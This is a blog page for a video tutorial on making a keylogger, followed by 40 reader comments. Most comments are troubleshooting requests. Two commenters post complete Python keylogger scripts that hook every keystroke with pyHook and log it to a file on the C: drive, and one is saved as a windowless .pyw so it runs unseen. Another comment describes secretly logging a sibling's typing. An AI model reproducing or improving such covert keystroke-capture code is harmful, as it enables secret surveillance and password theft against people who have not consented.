Tinkernut.com » Blog Archive » How To Make A Keylogger "/>
embed embed embed embed embed embed embed
Embed This Video embed
Share This Video embed
| More
embed test
Rate This Video embed
1 Star2 Stars3 Stars4 Stars5 Stars (12 votes, average: 4.58 out of 5)
Loading ... Loading ...
embed embed embed embed embed embed embed embed
How To Make A Keylogger 
How To Make A Keylogger

You can find all of the source code and links here:http://www.tinkernut.com/forum/video-tutorial-help/how-to-make-a-keylogger

Bookmark and Share

Join the forum discussion on this post




40 Comments »

  1. Alley Says:

    tried this followed all your steps but when i went to my c drive the file logger.py was not there. i am wondering did i not install something properly? i am new at all this programming stuff but this video seemed easy to do i was really looking forward to seeing if it worked can you help me? please….

    comment-bottom
  2. Emmet Says:

    1st comment =P cool vid

    comment-bottom
  3. Manserk Says:

    cool vidz, thx

    :)

    comment-bottom
  4. admin Says:

    @Alley – you save your python file as logger.py to your c drive. if it’s not there, then you didn’t save it to your c drive.

    comment-bottom
  5. Richard Says:

    i have a slight problem, everything seemed to have worked except for never gets created or i cant find it anywhere on my c: drive and when i search for it i can not find it anywhere on my pc. I copied the source code from your forum, so i am not really sure what may be wrong. I do see the logger. py on my c: drive. Could you possibly help with this?

    Thanks,
    Richard

    comment-bottom
  6. Richard Says:

    Everything seems to work except it does not create a output file on the c: drive or for that matter on my pc……at least when i use the “search” to locate it, it doesn’t locate an output file at all…i copied and pasted your “source” from the forums…so i am not really sure what i could have done wrong for it not to create an output file. Not sure if this matters or not but i am using XP. Could you give me a helping hand with this?

    Thanks,
    Richard

    comment-bottom
  7. Floatharr Says:

    I’m not a programmer, I haven’t coded anything in years but I could still spot a mile away that your code wasn’t going to work. Save as .pyw and get rid of win32 library and the commands to hide the window as they are redundant. To make the program exit instead of throwing an error in the console, import os and replace _exit(1) with os._exit(1). To append to a file, use mode ‘a’ and get rid of the buffer variable. Use ‘with’ to open a file so even if an error is raised on the way, the file still gets closed properly.

    The least you could do before posting your video was to see if your code actually worked. Most apparently, your version failed to do anything if ‘c:\output.txt’ didn’t exist. You also mentioned in your video to save as .pyw but you saved incorrectly as .py instead. Here’s my fixed version that should work fine. Hope it answers some questions.

    import os, pythoncom, pyHook

    def OnKeyboardEvent(event):
    if event.Ascii == 5:
    os._exit(1)

    if event.Ascii != 0:
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
    keylogs=’/n’
    with open(‘c:\output.txt’,'a’) as f:
    f.write(keylogs)

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

    comment-bottom
  8. Floatharr Says:

    Apparently the site likes to remove indentations. Remember to add those with the tab button like in the video in front of lines after lines ending with a semicolon (or just admin edit my post before if that’s possible).

    comment-bottom
  9. fairous Says:

    i cant find output.txt …

    please help me

    comment-bottom
  10. fairous Says:

    i cant find output.txt,it not created..i m using vista

    please help me find

    comment-bottom
  11. admin Says:

    just create a file called output.txt and put it in your c: drive

    comment-bottom
  12. Frenze Says:

    Thanks it worked at me using xp sp3

    comment-bottom
  13. Frenze Says:

    but i cant stop it hehehe….

    comment-bottom
  14. Frenze Says:

    ok i stopped it by ending the python.exe process ^_^ by the way thanks

    comment-bottom
  15. David Says:

    I don’t think vista likes writing stuff out to C:/ When saving the logger program, I had to save it elsewhere and then drag it in and confirm the move with the windows security shit(forget what its called). I can’t get mine to work. I’ve tried with both the original code and the code provided. I am running vista. Tried putting a output.txt out there and it still doesn’t write anything… Ideas of what i might’ve done wrong?

    comment-bottom
  16. Alex Says:

    It wont write any files to an output.txt file. i have checked the program script and have tried anything i can think of and it still wont work. Please help, thanks in advance.

    comment-bottom
  17. badkin Says:

    i got the keylogger all right but when i go to output.txt it says all of the stuff i typed but it reapeats like if i type f it shows up as ffffffffffffff how do i stop that

    comment-bottom
  18. nathan Says:

    Ive download the programs but it does not work.

    comment-bottom
  19. admin Says:

    It definitely works, you just have to know how to use it. Simply downloading it doesn’t mean it’s going to automatically work. The point is to show you how to make your own keylogger, not give you a free one.

    comment-bottom
  20. sahil Says:

    Is there an registered version key logger available.

    comment-bottom
  21. Gorglazon Says:

    i did it and it works perfectly fine, he did forget to mention to make the output.txt file (but it should be kind of obvious) but yes it works nicely :P

    comment-bottom
  22. Gorglazon Says:

    oh! and as for the repeated letters in the output.exe file just make sure there’s only one python.exe process running. The more of them open, the more repeated letters you will get

    comment-bottom
  23. Chris Says:

    I’m having the same problem as badkin, it seems to repeat every ascii character three times.

    comment-bottom
  24. warrenjmeyer Says:

    I followed your steps, and created the output.txt file, but nothing writes to the output.txt file. So then I tried FloatHarr’s method, still nothing. I am not sure what the issue is, but neither method produced any text in output.txt.

    comment-bottom
  25. warrenjmeyer Says:

    disregard the last post, I have solved the issue, thanks. I really like your site by the way!

    comment-bottom
  26. jack Says:

    Using this i cought my sister hacking an online account of mine (what a dumb ass)

    comment-bottom
  27. Jonny Says:

    I have got the same issue as warrenjmeyer, I have made a output.txt in the c drive as well as the logger.py but when I run it nothing logs, I am currently using windows vista, I have tried both methods can anyone guide me to correcting the problem.

    comment-bottom
  28. Jonny Says:

    The keylogger is running in the background but not logging in the output.txt

    comment-bottom
  29. Jonny Says:

    Hi

    I have got the keylogger running but it is not logging in the output.txt that I have created

    comment-bottom
  30. Krick528 Says:

    i got the program working, i copied the text for python directly from the website, but for some reason in the output.txt file, all the characters are repeated 5 times. anyone else have this happen? i can live with it but found it a little interesting.

    comment-bottom
  31. zach Says:

    I installed everything run the program when i was done pressed ctrl e went to c dribe there was no file???

    comment-bottom
  32. Yale Says:

    I got it working, I guess, but everything is logged in Chinese. I don’t even have Chinese installed on my computer. Any ideas?
    Also, I can’t seem to exit the program. I tried using different inputs other than ^e, still wont exit.

    comment-bottom
  33. Jason Says:

    Ok I just added the code and everything saved it to my LOcal Disk drive, found it (logger.py). But ther was no Output.txt. So I read some of your comments and I added a new file Called “Output.txt”. Then i type something and pressed “ctrl+E” and went to output.txt and nothing was filled in there?
    If Control E “ends” the keylogger,do u think ide have to turn it back on and if so, How?

    comment-bottom
  34. Jason Says:

    op, never mind. Noob mistake,never actually ran logger.py in the first place :P .

    comment-bottom
  35. Kathak Says:

    I have a problem- Is i write anything for example:-computer,
    in output it shows ccoommppuutteerr..how to prevent this..??

    comment-bottom
  36. Kathak Says:

    I have a problem- If i write anything for example:-computer,
    in output it shows ccoommmmppuutteerr how to prevent this..??

    comment-bottom
  37. warrenjmeyer Says:

    The following worked for me:

    1. Create output.txt in C:\
    2. Save following as Logger.pyw in C:\

    import pyHook
    import time
    import pythoncom

    def OnKeyboardEvent(event):
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
    keylogs=’\n’
    elif event.Ascii==8:
    keylogs=’[backspace]‘
    with open(‘c:\output.txt’,'a’) as f:
    f.write(keylogs)
    # print event.Ascii

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    while True:
    pythoncom.PumpMessages()

    That should do the trick.

    comment-bottom
  38. Bilal Says:

    why this video is not loading ?

    comment-bottom
  39. Yash Says:

    ive done every thing as the video told me to do
    but i can see logger.py and it opens but there is no output.txt created……..
    i tried to create the file by myself but it did not work
    please helm me.

    Thanks
    Yash

    comment-bottom
  40. kroeh Says:

    hey i need help..
    for some reason the console box shows up like it said it would for bout a split second then ill type like yo yo or somethin dumb go back to c: drive and wont see output.txt wtf?? haha help please

    -thanks

    comment-bottom

RSS feed for comments on this post. TrackBack URL

Leave a comment